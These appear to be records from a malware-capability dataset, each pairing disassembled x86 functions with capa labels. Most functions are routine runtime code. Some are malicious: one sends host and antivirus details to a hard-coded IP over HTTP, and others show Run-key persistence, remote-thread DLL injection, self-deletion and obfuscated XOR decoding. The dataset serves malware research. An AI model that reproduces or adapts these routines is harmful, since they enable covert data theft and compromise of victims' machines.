joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f530
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x43ad28
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x43ad20]
sub esp, 4
test ebx, ebx
je 0x41f585
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x41f57e
test esi, esi
je 0x41f57e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x41f560
mov dword [esp], 0x43ad28
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x41f8c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x41f8e5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x41f8f0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x41f8e5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x41f938
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x41f92e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x41f93a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x41f920
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401460
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x1c48
call fcn.00403020
sub esp, eax
mov ebx, dword [esp + 0x1c6c]
mov eax, dword [esp + eax]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x28], str.10.1.1
mov dword [esp + 0x24], str.cotoco171
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x1c68]
mov dword [esp + 8], eax
mov dword [esp + 4], str._cliente_cod_scliente_name_scliente_pais_scliente_ram_scliente_cpu_scliente_defender_dcliente_antivirus_scliente_ads_scliente_version_s
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x1c64]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x1c60]
mov dword [esp + 0x14], ebx
lea ebx, [esp + 0x40]
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x440]
mov dword [esp + 8], str.http:__45.40.96.209:5000_clientes_add
mov dword [esp + 4], str._s_s
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Minha_Aplicacao
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
je 0x4015cc
mov dword [esp + 4], ebx
mov dword [esp + 0x14], 0
mov ebp, eax
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], eax
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
mov esi, eax
lea edi, [esp + 0x3c]
lea ebx, [esp + 0xc40]
jne 0x40158c
jmp 0x4015e3
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x4015ab
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], str._.s
call sub.msvcrt.dll_printf
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
jne 0x401570
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
add esp, 0x1c4c
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.GBFhAuZqpOguCPFojJvcDRmnhnEFmGenwuWJUHHVeqhzrpTFxCqhbhNQAYplKeNnVrllocxJDqLLQheUGatQfiKYMhhTBsNffxl:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
jmp 0x4015c1
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.GBFhAuZqpOguCPFojJvcDRmnhnEFmGenwuWJUHHVeqhzrpTFxCqhbhNQAYplKeNnVrllocxJDqLLQheUGatQfiKYMhhTBsNffxl:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
push eax
jmp 0x4015c1
Function at 0x401610
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x1c48
call fcn.00403020
sub esp, eax
mov ebx, dword [esp + 0x1c6c]
mov eax, dword [esp + eax]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x28], str.10.1.1
mov dword [esp + 0x24], str.cotoco171
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x1c68]
mov dword [esp + 8], eax
mov dword [esp + 4], str._cliente_cod_scliente_name_scliente_pais_scliente_ram_scliente_cpu_scliente_defender_dcliente_antivirus_scliente_ads_scliente_version_
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x1c64]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x1c60]
mov dword [esp + 0x14], ebx
lea ebx, [esp + 0x40]
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x440]
mov dword [esp + 8], str.http:__45.40.96.209:5000_clientes_add
mov dword [esp + 4], str._s_s
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Minha_Aplicacao
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
je 0x401790
mov dword [esp + 4], ebx
mov dword [esp + 0x14], 0
mov ebp, eax
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], eax
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
mov esi, eax
lea edi, [esp + 0x3c]
lea ebx, [esp + 0xc40]
jne 0x40174c
jmp 0x4017b0
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x40176b
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], str._.s
call sub.msvcrt.dll_printf
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
jne 0x401730
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
add esp, 0x1c4c
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.GBFhAuZqpOguCPFojJvcDRmnhnEFmGenwuWJUHHVeqhzrpTFxCqhbhNQAYplKeNnVrllocxJDqLLQheUGatQfiKYMhhTBsNffxl:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
add esp, 0x1c4c
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.GBFhAuZqpOguCPFojJvcDRmnhnEFmGenwuWJUHHVeqhzrpTFxCqhbhNQAYplKeNnVrllocxJDqLLQheUGatQfiKYMhhTBsNffxl:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
jmp 0x401781
Function at 0x401bd0
Capabilities:
Get disk information
Get hostname
Get session user name

Disassembly:
push esi
push ebx
sub esp, 0x144
lea ebx, [esp + 0x2c]
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x10
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_GetComputerNameA
sub esp, 8
lea esi, [esp + 0x3c]
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x104
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_GetUserNameA
sub esp, 8
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x40c636
call sub.KERNEL32.dll_GetVolumeInformationA
sub esp, 0x20
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._s__s__u
mov dword [esp + 4], 0x100
mov dword [esp], 0x410020
mov dword [esp + 0x14], eax
call fcn.00404c60
add esp, 0x144
mov eax, 0x410020
pop ebx
pop esi
ret
Function at 0x402ae0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x410164
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x41015c]
sub esp, 4
test ebx, ebx
je 0x402b2b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x402b24
test esi, esi
je 0x402b24
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402b00
mov dword [esp], 0x410164
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402d10
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x402d60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x402e38
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402d9e
cmp eax, 4
jne 0x402dc0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402dae
cmp edx, 4
je 0x402dae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402d10
Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
sub edx, dword [ebx + 0x3d]
jmp [ebx]
push ebx
cmp eax, 0x3d532bff
pop edi
stosd dword es:[edi], eax
xor edi, dword [edi + edi*8 - 0x77]
arpl word [ebp - 0x42], cx
sub edx, dword [eax + 0x532bff3d]
cmp eax, 0xb6b6a2aa
mov edx, 0xf378d823
mov al, byte [0x167f2d06]
sbb dword [esi + edi*4 + 0x2b], 0x53
dec eax
mov eax, 0x8d3caba8
mov esi, 0xb848532b
test al, 0xab
cmp al, 0x8d
imul edx, eax, 0x5f5ffed5
mov esi, 0x2e272a17
jl 0x415369
push edx
dec ecx
loopne 0x41536a
invalid
stosb byte es:[edi], al
mov byte [0xcbfafbb6], al
xor bh, byte [edi + edi*8 + 0x2a]
cmp ebp, ebp
in eax, dx
push 0xc3095753
or dword [ecx - 0x2afc2bff], eax
jnp 0x415390
lodsd eax, dword [esi]
ret 0x2b46
Function at 0x10008f28
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, ecx
test edx, edx
jne 0x10008f38
push 0xd
pop eax
jmp 0x10008f6e
push ebp
push esi
push edi
xor esi, esi
mov edi, edx
mov ecx, edi
lea ebp, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008f44
sub ecx, ebp
lea eax, [ecx + 1]
add edi, eax
add esi, eax
cmp eax, 1
jne 0x10008f3f
push esi
push edx
push 7
push 0
push dword [esp + 0x24]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x1000b633
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4cba
mov edi, eax
mov esi, 0xd2e8bdf4
add esi, 0x3d19560c
add esi, dword [ebp - 0x3c]
mov ebx, 0xbba8d32c
add ebx, 0xe7d3a112
sub dword [ebp - 0x10], edx
mov edx, dword [esi]
xor dword [ebp - 0x34], edi
add edx, ebx
xor dword [ebp - 8], edx
xchg ebp, eax
clc
invalid
invalid
dec dword [ecx - 0x1b7a7ee9]
invalid
invalid
push dword [eax - 0x7e6553d3]
invalid
xchg ecx, eax
mov edx, 0xef817f74
lea edi, [edx - 0x397e808c]
add al, 0
add byte [eax], al
loop 0x1000b656
Function at 0x660012f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x69
je 0x66001337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x66001337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x66001337
mov eax, dword [ebp - 0x14]
cmp eax, 0x74
je 0x66001337
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x66001337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
jne 0x6600137d
mov eax, dword [ebp - 0x14]
cmp eax, 0x43
je 0x66001376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x66001376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
je 0x66001376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x66001376
mov eax, dword [ebp - 0x14]
cmp eax, 0x72
je 0x66001376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x66001376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x66001376
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x6600137d
mov eax, 1
jmp 0x66001382
mov eax, 0
leave
ret

Function at 0x66001384
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x6600149c
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x660015ec
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x6600164f
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x66001711
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x66001684
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x66001711
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x660016ae
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x66001711
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x660016f5
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x66001711
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x6600188e
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x66001c20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6600603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x66006034]
sub esp, 4
test ebx, ebx
je 0x66001c6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x66001c64
test esi, esi
je 0x66001c64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x66001c40
mov dword [esp], 0x6600603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x66001e50
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x66004208
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x66001ea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x66001f78
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x66001ede
cmp eax, 4
jne 0x66001f00
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x66001eee
cmp edx, 4
je 0x66001eee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.66001e50
Function at 0x401080
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
xor ebx, esi
xor esi, ebx
xor ebx, ebx
xor ebx, ebx
xor esi, eax
mov esi, eax
xor ebx, esi
mov eax, ebx
xor eax, esi
neg edx
mov ebx, 0xad
or edx, 0x7a
sbb ebx, 0x6d
dec edx
dec eax
and esi, 0x2f
not esi
imul eax
sbb edx, 0x5d
bswap edi
rcr eax, 0x35
add eax, 0xac
not edx
dec esi
mov esi, 0xfb
bswap edx
inc edx
imul edx
inc ebx
bswap edi
imul eax
bswap eax
inc edi
rcr ebx, 0x4c
rcr edx, 0xb9
bswap edx
bswap edi
sbb edi, 0xae
rcl eax, 0xbe
ror eax, 0xab
imul esi
bswap edi
neg ebx
sbb edx, 0x1e
ror ebx, 0x1f
neg ebx
dec eax
neg edx
and edi, 0x8a
rcl eax, 0x46
sbb edi, 0x19
imul esi
dec edi
not edx
neg ebx
add edx, 0x56
bswap edx
rol edx, 0x8c
and edx, 0x4a
xor ecx, ecx
xor edi, edi
xor ebx, ebx
xor esi, ebx
xor ebx, eax
xor esi, eax
xor ebx, esi
xor ebx, eax
imul eax
not eax
and esi, 4
mov edx, 0x47
bswap eax
rcr esi, 0xf5
and eax, 0xdb
sbb eax, 0x88
not eax
sbb ebx, 0xcb
sub edx, 0x6e
add edx, 0x51
bswap esi
ror esi, 0x92
imul eax
neg eax
dec eax
sub edx, 0x44
not edx
neg ebx
dec edx
bswap esi
rcr edx, 0x99
sub esi, 0x88
rol esi, 0xce
add ebx, 0x7f
rcr eax, 3
sub eax, 0xb4
bswap eax
not esi
sbb eax, 0x2f
imul ebx
rol edi, 0x32
not esi
bswap edi
add esi, 0xec
dec edi
inc edi
imul ebx
inc ebx
add ebx, 0x1b
dec ebx
add ebx, 0xd1
rol edi, 0xee
not eax
not eax
rcr ebx, 0x28
dec edx
rol eax, 0x5d
rol edx, 0x43
xor ebx, esi
mov eax, ebx
mov esi, esi
mov esi, eax
xor esi, esi
mov ebx, ebx
mov esi, eax
xor ebx, esi
mov ebx, esi
mov ecx, dword [ebp + 0xc]
inc esi
mov edi, 0x38
not edi
bswap esi
or edx, 0xbf
bswap esi
ror edi, 0xb
inc edi
mov esi, 2
imul esi
not edi
mov edi, 0x96
inc ebx
mov ebx, 3
not edi
not esi
mov eax, 0x24
inc edi
sub eax, 0x21
ror eax, 0xd4
not ebx
or ebx, 0xc1
imul edi
imul eax
and eax, 0x52
dec ebx
dec edi
inc eax
dec eax
imul esi
bswap eax
and esi, 0x13
neg esi
not esi
dec edi
not eax
dec edi
neg eax
bswap edi
rcl esi, 0xd2
not eax
rol ebx, 0xf7
neg ebx
sbb edi, 0x9c
not esi
rcl eax, 0x6d
bswap ebx
rcl esi, 0xd5
sbb edi, 0xa4
and ebx, 0xbd
mov edi, dword [ebp + 8]
mov eax, ebx
xor esi, esi
xor esi, eax
xor ebx, esi
mov eax, eax
mov esi, eax
mov eax, eax
mov ebx, ebx
xor ebx, esi
not byte [edi]
xor ebx, eax
xor eax, eax
mov ebx, eax
xor ebx, esi
xor eax, ebx
xor eax, ebx
mov ebx, ebx
mov esi, ebx
mov eax, eax
mov esi, esi
xor eax, ebx
mov esi, eax
sub byte [edi], 0xf1
add byte [edi], 0x63
xor esi, eax
mov ebx, ebx
mov eax, esi
xor esi, eax
mov esi, ebx
xor esi, esi
xor ebx, ebx
xor esi, ebx
mov ebx, esi
imul byte [edi]
inc edi
loop 0x401259
pop esi
pop edi
pop ebx
pop ebp
ret